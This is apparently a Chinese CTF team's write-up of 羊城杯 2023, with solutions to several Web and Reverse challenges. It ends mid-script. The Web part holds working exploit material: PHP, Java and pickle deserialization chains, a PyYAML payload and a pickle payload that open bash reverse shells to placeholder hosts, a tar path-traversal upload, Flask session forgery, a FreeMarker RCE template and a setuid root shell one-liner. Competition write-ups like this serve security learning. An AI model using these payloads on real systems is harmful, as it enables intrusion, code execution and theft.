本次 羊城杯 2023,我们 北极星 战队排名第2。

排名 队伍 总分
1 S1uM4i 12323.36
2 北极星 12322.49
3 你从来不是孤身一人 12322.43
4 AuroraSZU 11828.05
5 Hor1zon 11826.07
6 WYE 11825.69
7 去有风的地方 11825.55
8 N0wayBack 11824.99
9 HnuSec 11824.49
10 0psu3 11822.86

Web

D0n’t pl4y g4m3!!!

微信截图_20230902105125.png

经典php7.4.21源码泄露

hint.txt解码

微信截图_20230902203459.png


<?php
class Pro{
    private $exp;
    private $rce2;
    public function __construct()
    {
        $this->rce = "a";
    }

    public function __get($name)
    {
        return $this->$rce2=$this->exp[$rce2];
    }
    public  function __toString()
    {
        call_user_func('system', "cat /flag");
    }
}

class Yang

{
    public $finish;
    public $key = true;
    public $now;
    public function __construct(){
        $this->finish = new Cheng();
        $this->now = ["YCB1"=>"show_source"];
    }public function __call($name, $ary)
    {
        if ($this->key === true || $this->finish1->name) {
            if ($this->finish->finish) {
                call_user_func($this->now[$name], $ary[0]);
            }
        }
    }
    public function ycb()
    {
        $this->now = 0;
        return $this->finish->finish;
    }
    public function __wakeup()
    {
        $this->key = True;
    }
}
class Cheng
{
    private $finish;
    public $name;
    public function __construct()
    {
        //$this->finish = new Pro();
        $this->name = ["finish"=>new Pro()];
    }

    public function __get($value)
    {

        return $this->$value = $this->name[$value];
    }
}
class Bei
{ public $CTF;
    public $rce;
    public $rce1;
    public $finish;
    public function __construct(){
        $this->rce = "/tmp/catcatf1ag.txt";
        $this->rce1 = "/tmp/catcatf1ag.txt";
        $this->finish = true;
    }
    public function __destruct()
    {
        if ($this->CTF->ycb()) {
            $this->fine->YCB1($this->rce, $this->rce1);
        }
    }
    public function __wakeup()
    {
        $this->key = false;
    }
}

function prohib($a){
    $filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|eval|flag/i";
    return preg_replace($filter,'',$a);
}

$a = new Bei();
$a->CTF = new Yang();
$a->fine = new Yang();

echo urlencode(serialize($a));
//unserialize($a);

?>

/tmp/catcatf1ag.txt
O%3A3%3A%22Bei%22%3A5%3A%7Bs%3A3%3A%22CTF%22%3BO%3A4%3A%22Yang%22%3A3%3A%7Bs%3A6%3A%22finish%22%3BO%3A5%3A%22Cheng%22%3A2%3A%7Bs%3A13%3A%22%00Cheng%00finish%22%3BN%3Bs%3A4%3A%22name%22%3Ba%3A1%3A%7Bs%3A6%3A%22finish%22%3BO%3A3%3A%22Pro%22%3A3%3A%7Bs%3A8%3A%22%00Pro%00exp%22%3BN%3Bs%3A9%3A%22%00Pro%00rce2%22%3BN%3Bs%3A3%3A%22rce%22%3Bs%3A1%3A%22a%22%3B%7D%7D%7Ds%3A3%3A%22key%22%3Bb%3A1%3Bs%3A3%3A%22now%22%3Ba%3A1%3A%7Bs%3A4%3A%22YCB1%22%3Bs%3A11%3A%22show_source%22%3B%7D%7Ds%3A3%3A%22rce%22%3Bs%3A19%3A%22%2Ftmp%2Fcatcatf1ag.txt%22%3Bs%3A4%3A%22rce1%22%3Bs%3A19%3A%22%2Ftmp%2Fcatcatf1ag.txt%22%3Bs%3A6%3A%22finish%22%3Bb%3A1%3Bs%3A4%3A%22fine%22%3BO%3A4%3A%22Yang%22%3A3%3A%7Bs%3A6%3A%22finish%22%3BO%3A5%3A%22Cheng%22%3A2%3A%7Bs%3A13%3A%22%00Cheng%00finish%22%3BN%3Bs%3A4%3A%22name%22%3Ba%3A1%3A%7Bs%3A6%3A%22finish%22%3BO%3A3%3A%22Pro%22%3A3%3A%7Bs%3A8%3A%22%00Pro%00exp%22%3BN%3Bs%3A9%3A%22%00Pro%00rce2%22%3BN%3Bs%3A3%3A%22rce%22%3Bs%3A1%3A%22a%22%3B%7D%7D%7Ds%3A3%3A%22key%22%3Bb%3A1%3Bs%3A3%3A%22now%22%3Ba%3A1%3A%7Bs%3A4%3A%22YCB1%22%3Bs%3A11%3A%22show_source%22%3B%7D%7D%7D

ezyaml

exp.yaml

exp: !!python/object/apply:os.system ["bash -c 'bash -i >& /dev/tcp/xxxxx/xxxxx 0>&1'"]

用cve-2016-6321覆盖到config下面的yaml文件

https://blog.csdn.net/wanmiqi/article/details/110202417

tar cPvf exp.tar ../../../../../../../../app/config/exp.yaml
url = "http://xxxx/upload"
files = {"file":("exp.tar",open("exp.tar","rb").read())}
res = requests.post(url=url,files=files)
/src?username=exp

ArkNights

又非预期了

拿到源码 发现这里的read路由并没做什么限制,只ban了flag

@app.route('/read')
def read():
        file = request.args.get('file')
        fileblacklist=re.findall("/flag|fl|ag/",file, re.IGNORECASE)
        if fileblacklist:
            return "bad hacker!"
        start=request.args.get("start","0")
        end=request.args.get("end","0")
        if start=="0" and end=="0":
            return open(file,"rb").read()
        else:
            start,end=int(start),int(end)
            f=open(file,"rb")
            f.seek(start)
            data=f.read(end)
            return data

尝试去读url/read?file=/etc/passwd 发现可以读出来

就试着读环境变量

Serpent

www.zip泄露

session伪造exp:

from flask import Flask,session
import os
app = Flask(__name__)
app.config['SECRET_KEY']='GWHTYwUrVd0cik'
@app.route('/')
def index():
    session['Attribute'] = {}
    session['Attribute']['name'] = 'admin'
    session['Attribute']['admin'] = 1
    return 1
if __name__=='__main__':
    app.run()

抓包获取到一个路由/ppppppppppick1e,访问/src0de获取源码

@app.route('/src0de')
def src0de():
    f = open(__file__, 'r')
    rsp = f.read()
    f.close()
    return rsp[rsp.index("@app.route('/src0de')"):]

@app.route('/ppppppppppick1e')
def ppppppppppick1e():
    try:
        username = "admin"
        rsp = make_response("Hello, %s " % username)
        rsp.headers['hint'] = "Source in /src0de"
        pick1e = request.cookies.get('pick1e')
        if pick1e is not None:
            pick1e = base64.b64decode(pick1e)
        else:
            return rsp
        if check(pick1e):
            pick1e = pickle.loads(pick1e)
            return "Go for it!!!"
        else:
            return "No Way!!!"
    except Exception as e:
        error_message = str(e)
        return error_message

    return rsp

class GWHT():
    def __init__(self):
        pass

if __name__ == '__main__':
    app.run('0.0.0.0', port=80)

pickle.loads造成rce,反弹shell

(S'bash -c "bash -i >& /dev/tcp/ip/2336 0>&1"'
ios
system
.

image-20230902230139891

/flag需要权限,linux提权(python的os.setuid(0)提权)

python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'

image-20230902225756531

Ez_java

jd-gui反编译

发现

HtmlMap implements Map, Serializable,里面的 get方法触发HtmlUploadUtil#uploadfile
HtmlInvocationHandler implements InvocationHandler,并且有invoke方法
HtmlUploadUtil是一个上传文件的功能,需要.ftl结尾

并且会触发模板

@RequestMapping({"/templating"})
   public String templating(@RequestParam String name, Model model) {
       model.addAttribute("name", name);
       return "index";
   }

所以考虑动态代理,触发invoke方法->HtmlMap#get方法->HtmlUploadUtil#uploadfile,把原来的index.ftl替换掉,直接找网上现成的freemarker模板

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.ycbjava.Utils;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.Map;
import javax.management.BadAttributeValueExpException;

public class aaa {
    public static String string;

    public aaa() {
    }

    public static void main(String[] args) throws Exception {
        HtmlMap htmlMap = new HtmlMap();
        htmlMap.filename = "index.ftl";
        htmlMap.content = "${name}
<#assign ac=springMacroRequestContext.webApplicationContext>
<#assign fc=ac.getBean('freeMarkerConfiguration')>
<#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>
<#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${"freemarker.template.utility.Execute"?new()(name)}
${VOID}";
        ClassLoader classLoader = htmlMap.getClass().getClassLoader();
        Class[] interfaces = htmlMap.getClass().getInterfaces();
        HtmlInvocationHandler infoInvocationHandler = new HtmlInvocationHandler(htmlMap);
        Map proxy = (Map)Proxy.newProxyInstance(classLoader, interfaces, infoInvocationHandler);
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException((Object)null);
        Field declaredField = badAttributeValueExpException.getClass().getDeclaredField("val");
        declaredField.setAccessible(true);
        declaredField.set(badAttributeValueExpException, proxy);
        serial(badAttributeValueExpException);
    }

    private static void serial(Object object) throws IOException {
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(object);
        objectOutputStream.flush();
        objectOutputStream.close();
        string = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
        System.out.println(string);
    }
}

首先访问/getflag?data=base64,然后直接访问/templating?name=cat /flag获得flag

Reverse

Ez加密器

首先是输入code 必须为6位 然后程序进行一个变表的base64编码 编码之后作为密钥key 对数据进行DES加密

爆破六位code 并且解密DES即可

flag = "DASCTF{1234567890abcdef1234567890abcdef}"
from Crypto.Cipher import DES
import base64
key = bytes([0x6D, 0x74, 0x69, 0x50, 0x6E, 0x64, 0x75, 0x53 ])
print(key)
def base64_encode(data):
    oldtable='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'#老表
    newtable='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ+/'#这里输入魔改变表
    tmp = base64.b64encode(data.encode()).decode()
    result=''
    for ch in tmp:
        result +=newtable[oldtable.index(ch)]
    return result

## key = base64_encode("123456")
## print(key)
for i in range(0,1000000):
    tmp_key = str(i).rjust(6,"0")
    tmp_key = base64_encode(tmp_key)
    #print(tmp_key)
    des = DES.new(tmp_key.encode(),mode=DES.MODE_ECB)
    c = bytes.fromhex("0723105D5C12217DCDC3601F5ECB54DA9CCEC2279F1684A13A0D716D17217F4C9EA85FF1A42795731CA3C55D3A4D7BEA")
    m = des.decrypt(c)

    if(b"DAS" in m):
        print(m)

CSGO

动调调试 取出来base64的密码表

然后解码就可以

enc="cPQebAcRp+n+ZeP+YePEWfP7bej4YefCYd/7cuP7WfcPb/URYeMRbesObi/="

table="LMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ABCDEFGHIJK"
flag="DASCTF{73913519-A0A6-5575-0F10-DDCBF50FA8CA}"

Blast

程序每次取输入的一个字符进行md5 编码之后将输出的hex格式的字符串再次进行一次md5 保存下来 最后与密文进行对比

采用爆破的方法即可

from hashlib import md5
from string import printable
enc=[  0x31, 0x34, 0x64, 0x38, 0x39, 0x63, 0x33, 0x38, 0x63, 0x64, 
  0x30, 0x66, 0x62, 0x32, 0x33, 0x61, 0x31, 0x34, 0x62, 0x65, 
  0x32, 0x37, 0x39, 0x38, 0x64, 0x34, 0x34, 0x39, 0x63, 0x31, 
  0x38, 0x32, 0x00, 0x61, 0x39, 0x34, 0x38, 0x33, 0x37, 0x62, 
  0x31, 0x38, 0x66, 0x38, 0x66, 0x34, 0x33, 0x66, 0x32, 0x39, 
  0x34, 0x34, 0x38, 0x62, 0x34, 0x30, 0x61, 0x36, 0x65, 0x37, 
  0x33, 0x38, 0x36, 0x62, 0x61, 0x00, 0x61, 0x66, 0x38, 0x35, 
  
  0x64, 0x35, 0x31, 0x32, 0x35, 0x39, 0x34, 0x66, 0x63, 0x38, 
  0x34, 0x61, 0x35, 0x63, 0x36, 0x35, 0x65, 0x63, 0x39, 0x39, 
  0x37, 0x30, 0x39, 0x35, 0x36, 0x65, 0x61, 0x35, 0x00, 0x61, 
  0x66, 0x38, 0x35, 0x64, 0x35, 0x31, 0x32, 0x35, 0x39, 0x34, 
  0x66, 0x63, 0x38, 0x34, 0x61, 0x35, 0x63, 0x36, 0x35, 0x65, 
  0x63, 0x39, 0x39, 0x37, 0x30, 0x39, 0x35, 0x36, 0x65, 0x61, 
  0x35, 0x00, 0x31, 0x30, 0x65, 0x32, 0x31, 0x64, 0x61, 0x32, 
  0x33, 0x37, 0x61, 0x34, 0x61, 0x31, 0x34, 0x39, 0x31, 0x65, 
  0x37, 0x36, 0x39, 0x64, 0x66, 0x36, 0x66, 0x34, 0x63, 0x33, 
  0x62, 0x34, 0x31, 0x39, 0x00, 0x61, 0x37, 0x30, 0x35, 0x65, 
  0x38, 0x32, 0x38, 0x30, 0x30, 0x38, 0x32, 0x66, 0x39, 0x33, 
  0x66, 0x30, 0x37, 0x65, 0x33, 0x34, 0x38, 0x36, 0x36, 0x33, 
  0x36, 0x66, 0x33, 0x38, 0x32, 0x37, 0x61, 0x00, 0x32, 0x39, 
  0x37, 0x65, 0x37, 0x63, 0x61, 0x31, 0x32, 0x37, 0x64, 0x32, 
  0x65, 0x65, 0x66, 0x36, 0x37, 0x34, 0x63, 0x31, 0x31, 0x39, 
  0x33, 0x33, 0x31, 0x66, 0x65, 0x33, 0x30, 0x64, 0x66, 0x66, 
  0x00, 0x62, 0x35, 0x64, 0x32, 0x30, 0x39, 0x39, 0x65, 0x34, 
  0x39, 0x62, 0x64, 0x62, 0x30, 0x37, 0x62, 0x38, 0x31, 0x37, 
  0x36, 0x64, 0x66, 0x66, 0x35, 0x65, 0x32, 0x33, 0x62, 0x33, 
  0x63, 0x31, 0x34, 0x00, 0x38, 0x33, 0x62, 0x65, 0x32, 0x36, 
  0x34, 0x65, 0x62, 0x34, 0x35, 0x32, 0x66, 0x63, 0x66, 0x30, 
  0x61, 0x31, 0x63, 0x33, 0x32, 0x32, 0x66, 0x32, 0x63, 0x37, 
  0x63, 0x62, 0x66, 0x39, 0x38, 0x37, 0x00, 0x61, 0x39, 0x34, 
  0x38, 0x33, 0x37, 0x62, 0x31, 0x38, 0x66, 0x38, 0x66, 0x34, 
  0x33, 0x66, 0x32, 0x39, 0x34, 0x34, 0x38, 0x62, 0x34, 0x30, 
  0x61, 0x36, 0x65, 0x37, 0x33, 0x38, 0x36, 0x62, 0x61, 0x00, 
  0x37, 0x31, 0x62, 0x30, 0x34, 0x33, 0x38, 0x62, 0x66, 0x34, 
  0x36, 0x61, 0x61, 0x32, 0x36, 0x39, 0x32, 0x38, 0x63, 0x37, 
  0x66, 0x35, 0x61, 0x33, 0x37, 0x31, 0x64, 0x36, 0x31, 0x39, 
  0x65, 0x31, 0x00, 0x61, 0x37, 0x30, 0x35, 0x65, 0x38, 0x32, 
  0x38, 0x30, 0x30, 0x38, 0x32, 0x66, 0x39, 0x33, 0x66, 0x30, 
  0x37, 0x65, 0x33, 0x34, 0x38, 0x36, 0x36, 0x33, 0x36, 0x66, 
  0x33, 0x38, 0x32, 0x37, 0x61, 0x00, 0x61, 0x63, 0x34, 0x39, 
  0x30, 0x37, 0x33, 0x61, 0x37, 0x31, 0x36, 0x35, 0x66, 0x34, 
  0x31, 0x63, 0x35, 0x37, 0x65, 0x62, 0x32, 0x63, 0x31, 0x38, 
  0x30, 0x36, 0x61, 0x37, 0x30, 0x39, 0x32, 0x65, 0x00, 0x61, 
  0x39, 0x34, 0x38, 0x33, 0x37, 0x62, 0x31, 0x38, 0x66, 0x38, 
  0x66, 0x34, 0x33, 0x66, 0x32, 0x39, 0x34, 0x34, 0x38, 0x62, 
  0x34, 0x30, 0x61, 0x36, 0x65, 0x37, 0x33, 0x38, 0x36, 0x62, 
  0x61, 0x00, 0x61, 0x66, 0x38, 0x35, 0x64, 0x35, 0x31, 0x32, 
  0x35, 0x39, 0x34, 0x66, 0x63, 0x38, 0x34, 0x61, 0x35, 0x63, 
  0x36, 0x35, 0x65, 0x63, 0x39, 0x39, 0x37, 0x30, 0x39, 0x35, 
  0x36, 0x65, 0x61, 0x35, 0x00, 0x65, 0x64, 0x31, 0x30, 0x38, 
  0x66, 0x36, 0x39, 0x31, 0x39, 0x65, 0x62, 0x61, 0x64, 0x63, 
  0x38, 0x65, 0x38, 0x30, 0x39, 0x66, 0x38, 0x62, 0x38, 0x36, 
  0x65, 0x66, 0x34, 0x30, 0x62, 0x30, 0x35, 0x00, 0x31, 0x30, 
  0x65, 0x32, 0x31, 0x64, 0x61, 0x32, 0x33, 0x37, 0x61, 0x34, 
  0x61, 0x31, 0x34, 0x39, 0x31, 0x65, 0x37, 0x36, 0x39, 0x64, 
  0x66, 0x36, 0x66, 0x34, 0x63, 0x33, 0x62, 0x34, 0x31, 0x39, 
  0x00, 0x33, 0x63, 0x66, 0x64, 0x34, 0x33, 0x36, 0x39, 0x31, 
  0x39, 0x62, 0x63, 0x33, 0x31, 0x30, 0x37, 0x64, 0x36, 0x38, 
  0x62, 0x39, 0x31, 0x32, 0x65, 0x65, 0x36, 0x34, 0x37, 0x66, 
  0x33, 0x34, 0x31, 0x00, 0x61, 0x37, 0x30, 0x35, 0x65, 0x38, 
  0x32, 0x38, 0x30, 0x30, 0x38, 0x32, 0x66, 0x39, 0x33, 0x66, 
  0x30, 0x37, 0x65, 0x33, 0x34, 0x38, 0x36, 0x36, 0x33, 0x36, 
  0x66, 0x33, 0x38, 0x32, 0x37, 0x61, 0x00, 0x36, 0x35, 0x63, 
  0x31, 0x36, 0x32, 0x66, 0x37, 0x63, 0x34, 0x33, 0x36, 0x31, 
  0x32, 0x62, 0x61, 0x31, 0x62, 0x64, 0x66, 0x34, 0x64, 0x30, 
  0x66, 0x32, 0x39, 0x31, 0x32, 0x62, 0x62, 0x63, 0x30, 0x00, 
  0x31, 0x30, 0x65, 0x32, 0x31, 0x64, 0x61, 0x32, 0x33, 0x37, 
  0x61, 0x34, 0x61, 0x31, 0x34, 0x39, 0x31, 0x65, 0x37, 0x36, 
  0x39, 0x64, 0x66, 0x36, 0x66, 0x34, 0x63, 0x33, 0x62, 0x34, 
  0x31, 0x39, 0x00, 0x61, 0x37, 0x30, 0x35, 0x65, 0x38, 0x32, 
  0x38, 0x30, 0x30, 0x38, 0x32, 0x66, 0x39, 0x33, 0x66, 0x30, 
  0x37, 0x65, 0x33, 0x34, 0x38, 0x36, 0x36, 0x33, 0x36, 0x66, 
  0x33, 0x38, 0x32, 0x37, 0x61, 0x00, 0x33, 0x63, 0x66, 0x64, 
  0x34, 0x33, 0x36, 0x39, 0x31, 0x39, 0x62, 0x63, 0x33, 0x31, 
  0x30, 0x37, 0x64, 0x36, 0x38, 0x62, 0x39, 0x31, 0x32, 0x65, 
  0x65, 0x36, 0x34, 0x37, 0x66, 0x33, 0x34, 0x31, 0x00, 0x35, 
  0x35, 0x37, 0x34, 0x36, 0x30, 0x64, 0x33, 0x31, 0x37, 0x61, 
  0x65, 0x38, 0x37, 0x34, 0x63, 0x39, 0x32, 0x34, 0x65, 0x39, 
  0x62, 0x65, 0x33, 0x33, 0x36, 0x61, 0x38, 0x33, 0x63, 0x62, 
  0x65, 0x00, 0x61, 0x37, 0x30, 0x35, 0x65, 0x38, 0x32, 0x38, 
  0x30, 0x30, 0x38, 0x32, 0x66, 0x39, 0x33, 0x66, 0x30, 0x37, 
  0x65, 0x33, 0x34, 0x38, 0x36, 0x36, 0x33, 0x36, 0x66, 0x33, 
  0x38, 0x32, 0x37, 0x61, 0x00, 0x39, 0x32, 0x30, 0x33, 0x64, 
  0x38, 0x61, 0x32, 0x36, 0x65, 0x32, 0x34, 0x31, 0x65, 0x36, 
  0x33, 0x65, 0x34, 0x62, 0x33, 0x35, 0x62, 0x33, 0x35, 0x32, 
  0x37, 0x34, 0x34, 0x30, 0x39, 0x39, 0x38, 0x00, 0x31, 0x30, 
  0x65, 0x32, 0x31, 0x64, 0x61, 0x32, 0x33, 0x37, 0x61, 0x34, 
  0x61, 0x31, 0x34, 0x39, 0x31, 0x65, 0x37, 0x36, 0x39, 0x64, 
  0x66, 0x36, 0x66, 0x34, 0x63, 0x33, 0x62, 0x34, 0x31, 0x39, 
  0x00, 0x66, 0x39, 0x31, 0x62, 0x32, 0x36, 0x36, 0x33, 0x66, 
  0x65, 0x62, 0x62, 0x61, 0x38, 0x61, 0x38, 0x38, 0x34, 0x34, 
  0x38, 0x37, 0x66, 0x37, 0x64, 0x65, 0x35, 0x65, 0x31, 0x64, 
  0x32, 0x34, 0x39, 0x00, 0x61, 0x37, 0x30, 0x35, 0x65, 0x38, 
  0x32, 0x38, 0x30, 0x30, 0x38, 0x32, 0x66, 0x39, 0x33, 0x66, 
  0x30, 0x37, 0x65, 0x33, 0x34, 0x38, 0x36, 0x36, 0x33, 0x36, 
  0x66, 0x33, 0x38, 0x32, 0x37, 0x61, 0x00, 0x64, 0x37, 0x61, 
  0x66, 0x64, 0x65, 0x33, 0x65, 0x37, 0x30, 0x35, 0x39, 0x63, 
  0x64, 0x30, 0x61, 0x30, 0x66, 0x65, 0x30, 0x39, 0x65, 0x65, 
  0x63, 0x34, 0x62, 0x30, 0x30, 0x30, 0x38, 0x63, 0x64, 0x00, 
  0x34, 0x38, 0x38, 0x63, 0x34, 0x32, 0x38, 0x63, 0x64, 0x34, 
  0x61, 0x38, 0x64, 0x39, 0x31, 0x36, 0x64, 0x65, 0x65, 0x65, 
  0x37, 0x63, 0x31, 0x36, 0x31, 0x33, 0x63, 0x38, 0x62, 0x32, 
  0x66, 0x64, 0x00, 0x33, 0x39, 0x61, 0x62, 0x65, 0x34, 0x62, 
  0x63, 0x61, 0x39, 0x30, 0x34, 0x62, 0x63, 0x61, 0x35, 0x61, 
  0x31, 0x31, 0x31, 0x32, 0x31, 0x39, 0x35, 0x35, 0x61, 0x32, 
  0x39, 0x39, 0x36, 0x62, 0x66, 0x00, 0x61, 0x37, 0x30, 0x35, 
  0x65, 0x38, 0x32, 0x38, 0x30, 0x30, 0x38, 0x32, 0x66, 0x39, 
  0x33, 0x66, 0x30, 0x37, 0x65, 0x33, 0x34, 0x38, 0x36, 0x36, 
  0x33, 0x36, 0x66, 0x33, 0x38, 0x32, 0x37, 0x61, 0x00, 0x33, 
  0x63, 0x66, 0x64, 0x34, 0x33, 0x36, 0x39, 0x31, 0x39, 0x62, 
  0x63, 0x33, 0x31, 0x30, 0x37, 0x64, 0x36, 0x38, 0x62, 0x39, 
  0x31, 0x32, 0x65, 0x65, 0x36, 0x34, 0x37, 0x66, 0x33, 0x34, 
  0x31, 0x00, 0x33, 0x39, 0x61, 0x62, 0x65, 0x34, 0x62, 0x63, 
  0x61, 0x39, 0x30, 0x34, 0x62, 0x63, 0x61, 0x35, 0x61, 0x31, 
  0x31, 0x31, 0x32, 0x31, 0x39, 0x35, 0x35, 0x61, 0x32, 0x39, 
  0x39, 0x36, 0x62, 0x66, 0x00, 0x34, 0x65, 0x34, 0x34, 0x66, 
  0x31, 0x61, 0x63, 0x38, 0x35, 0x63, 0x64, 0x36, 0x30, 0x65, 
  0x33, 0x63, 0x61, 0x61, 0x35, 0x36, 0x62, 0x66, 0x64, 0x34, 
  0x61, 0x66, 0x62, 0x36, 0x37, 0x35, 0x65, 0x00, 0x34, 0x35, 
  0x63, 0x66, 0x38, 0x64, 0x64, 0x66, 0x61, 0x65, 0x31, 0x64, 
  0x37, 0x38, 0x37, 0x34, 0x31, 0x64, 0x38, 0x66, 0x31, 0x63, 
  0x36, 0x32, 0x32, 0x36, 0x38, 0x39, 0x65, 0x34, 0x61, 0x66, 
  0x00, 0x33, 0x63, 0x66, 0x64, 0x34, 0x33, 0x36, 0x39, 0x31, 
  0x39, 0x62, 0x63, 0x33, 0x31, 0x30, 0x37, 0x64, 0x36, 0x38, 
  0x62, 0x39, 0x31, 0x32, 0x65, 0x65, 0x36, 0x34, 0x37, 0x66, 
  0x33, 0x34, 0x31, 0x00, 0x33, 0x39, 0x61, 0x62, 0x65, 0x34, 
  0x62, 0x63, 0x61, 0x39, 0x30, 0x34, 0x62, 0x63, 0x61, 0x35, 
  0x61, 0x31, 0x31, 0x31, 0x32, 0x31, 0x39, 0x35, 0x35, 0x61, 
  0x32, 0x39, 0x39, 0x36, 0x62, 0x66, 0x00, 0x34, 0x65, 0x34, 
  0x34, 0x66, 0x31, 0x61, 0x63, 0x38, 0x35, 0x63, 0x64, 0x36, 
  0x30, 0x65, 0x33, 0x63, 0x61, 0x61, 0x35, 0x36, 0x62, 0x66, 
  0x64, 0x34, 0x61, 0x66, 0x62, 0x36, 0x37, 0x35, 0x65, 0x00, 
  0x33, 0x37, 0x33, 0x32, 0x37, 0x62, 0x62, 0x30, 0x36, 0x63, 
  0x38, 0x33, 0x63, 0x62, 0x32, 0x39, 0x63, 0x65, 0x66, 0x64, 
  0x65, 0x31, 0x39, 0x36, 0x33, 0x65, 0x61, 0x35, 0x38, 0x38, 
  0x61, 0x61, 0x00, 0x61, 0x37, 0x30, 0x35, 0x65, 0x38, 0x32, 
  0x38, 0x30, 0x30, 0x38, 0x32, 0x66, 0x39, 0x33, 0x66, 0x30, 
  0x37, 0x65, 0x33, 0x34, 0x38, 0x36, 0x36, 0x33, 0x36, 0x66, 
  0x33, 0x38, 0x32, 0x37, 0x61, 0x00, 0x32, 0x33, 0x65, 0x36, 
  0x35, 0x61, 0x36, 0x37, 0x39, 0x31, 0x30, 0x35, 0x62, 0x38, 
  0x35, 0x63, 0x35, 0x64, 0x63, 0x37, 0x30, 0x33, 0x34, 0x66, 
  0x64, 0x65, 0x64, 0x34, 0x66, 0x62, 0x35, 0x66, 0x00, 0x31, 
  0x30, 0x65, 0x32, 0x31, 0x64, 0x61, 0x32, 0x33, 0x37, 0x61, 
  0x34, 0x61, 0x31, 0x34, 0x39, 0x31, 0x65, 0x37, 0x36, 0x39, 
  0x64, 0x66, 0x36, 0x66, 0x34, 0x63, 0x33, 0x62, 0x34, 0x31, 
  0x39, 0x00, 0x37, 0x31, 0x62, 0x30, 0x34, 0x33, 0x38, 0x62, 
  0x66, 0x34, 0x36, 0x61, 0x61, 0x32, 0x36, 0x39, 0x32, 0x38, 
  0x63, 0x37, 0x66, 0x35, 0x61, 0x33, 0x37, 0x31, 0x64, 0x36, 
  0x31, 0x39, 0x65, 0x31, 0x00, 0x61, 0x66, 0x38, 0x35, 0x64, 
  0x35, 0x31, 0x32, 0x35, 0x39, 0x34, 0x66, 0x63, 0x38, 0x34, 
  0x61, 0x35, 0x63, 0x36, 0x35, 0x65, 0x63, 0x39, 0x39, 0x37, 
  0x30, 0x39, 0x35, 0x36, 0x65, 0x61, 0x35, 0x00, 0x33, 0x39, 
  0x61, 0x62, 0x65, 0x34, 0x62, 0x63, 0x61, 0x39, 0x30, 0x34, 
  0x62, 0x63, 0x61, 0x35, 0x61, 0x31, 0x31, 0x31, 0x32, 0x31, 
  0x39, 0x35, 0x35, 0x61, 0x32, 0x39, 0x39, 0x36, 0x62, 0x66]
print(len(enc)/32)
for t in range(48):
    tmp = bytes(enc[t*33:t*33+32])
    #print(tmp)
    for i in printable:
        if(md5(md5(i.encode()).hexdigest().encode()).hexdigest() ==tmp.decode()):
            print(i,end='')
##0CC175B9C0F1B6A831C399E26977266161

vmwo

一个自己的实现的vmp

自己伪造一个 然后逐位爆破即可

import struct

def exec(cin, a2):
    start = False
    v2 = buf[0]
    if v2 < a2:
        while True:
            if (start):
                buf[0] += 3
                v2 = buf[0]
                if (buf[0] >= a2):
                    break
            if (not start):
                start = True

            for m in range(0, 3):
                vm_body[m] &= 0xff
            v6 = cin[v2]
            v7 = cin[v2+1]
            v8 = cin[v2+1]
            v9 = cin[v2+2]
            v10 = v9
      
            if v6 == 0:
                v11 = vm_body[v8]
                vm_body[v8] = vm_body[v10]
                vm_body[v10] = v11
            elif v6 == 1:vm_body[v8] ^= vm_body[v9]
            elif v6 == 2:vm_body[v8] += v9
            elif v6 == 3:vm_body[v8] += vm_body[v9]
            elif v6 == 4:vm_body[v8] -= v9
            elif v6 == 5:vm_body[v8] -= vm_body[v9]
            elif v6 == 6:vm_body[v8] *= v9
            elif v6 == 7:vm_body[v8] *= vm_body[v9]
            elif v6 == 8:vm_body[v8] = vm_body[v8] / v9
            elif v6 == 9:vm_body[v8] = vm_body[v8] / vm_body[v9]
            elif v6 == 10: vm_body[v8] = vm_body[v8] % v9
            elif v6 == 11:vm_body[v8] = vm_body[v8] % vm_body[v9]
                
            elif v6 == 12:
                v12 = vm_body[v8]
                vm_body[v8] = v12 << v9
                
            elif v6 == 13:
                v12 = vm_body[0]
                vm_body[v8] = v12 << v9
                
            elif v6 == 14:
                v15 = vm_body[v8]
                vm_body[buf[1] + 16] = v15
                buf[1] += 1
                
            elif v6 == 15:v13 = vm_body[v8] 
            elif v6 == 16:
                v14 = buf[1] - 1
                buf[1] -= 1
                v13 = vm_body[v14 + 16]
                # print(v13)
                
            elif v6 == 17:
                if not vm_body[v8]:
                    buf[0] = v9
                
            elif v6 == 18:
                if vm_body[v8]:
                    buf[0] = v9
                
            elif v6 == 19:
                buf[0] = v7
                
            elif v6 == 20:
                v8 = vm_body[v8]
                v15 = vm_body[v8]
                vm_body[buf[1] + 16] = v15
                buf[1] += 1
                
            elif v6 == 21:
                v16 = buf[1] - 1
                buf[1] -= 1
                vm_body[0] = vm_body[v16 + 16]
                
            elif v6 == 22:
                v15 = v7
                vm_body[buf[1] + 16] = v15
                buf[1] += 1
                
            elif v6 == 23:
                buf[0] -= 3
                
            elif v6 == 24:
                vm_body[0] = vm_body[2] | vm_body[1]
                
            elif v6 == 25:
                #    print(vm_body[0], v9)
                vm_body[v8] = vm_body[0] >> v9
                
            elif v6 == 26:
                vm_body[v8] = v9
                
            else:
                continue

    buf[0] = 0
    return
enc= [0xDF, 0xD5, 0xF1, 0xD1, 0xFF, 0xDB, 0xA1, 0xA5, 0x89, 0xBD,
                0xE9, 0x95, 0xB3, 0x9D, 0xE9, 0xB3, 0x85, 0x99, 0x87, 0xBF,
                0xE9, 0xB1, 0x89, 0xE9, 0x91, 0x89, 0x89, 0x8F, 0xAD]
alpht = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_{|}~"
flag = [0]*30
index = 0
while ((index) < 28):
    for i in alpht:
        vm_body = [0]*0x10
        buf = [0]*2
        flag[index] = ord(i)
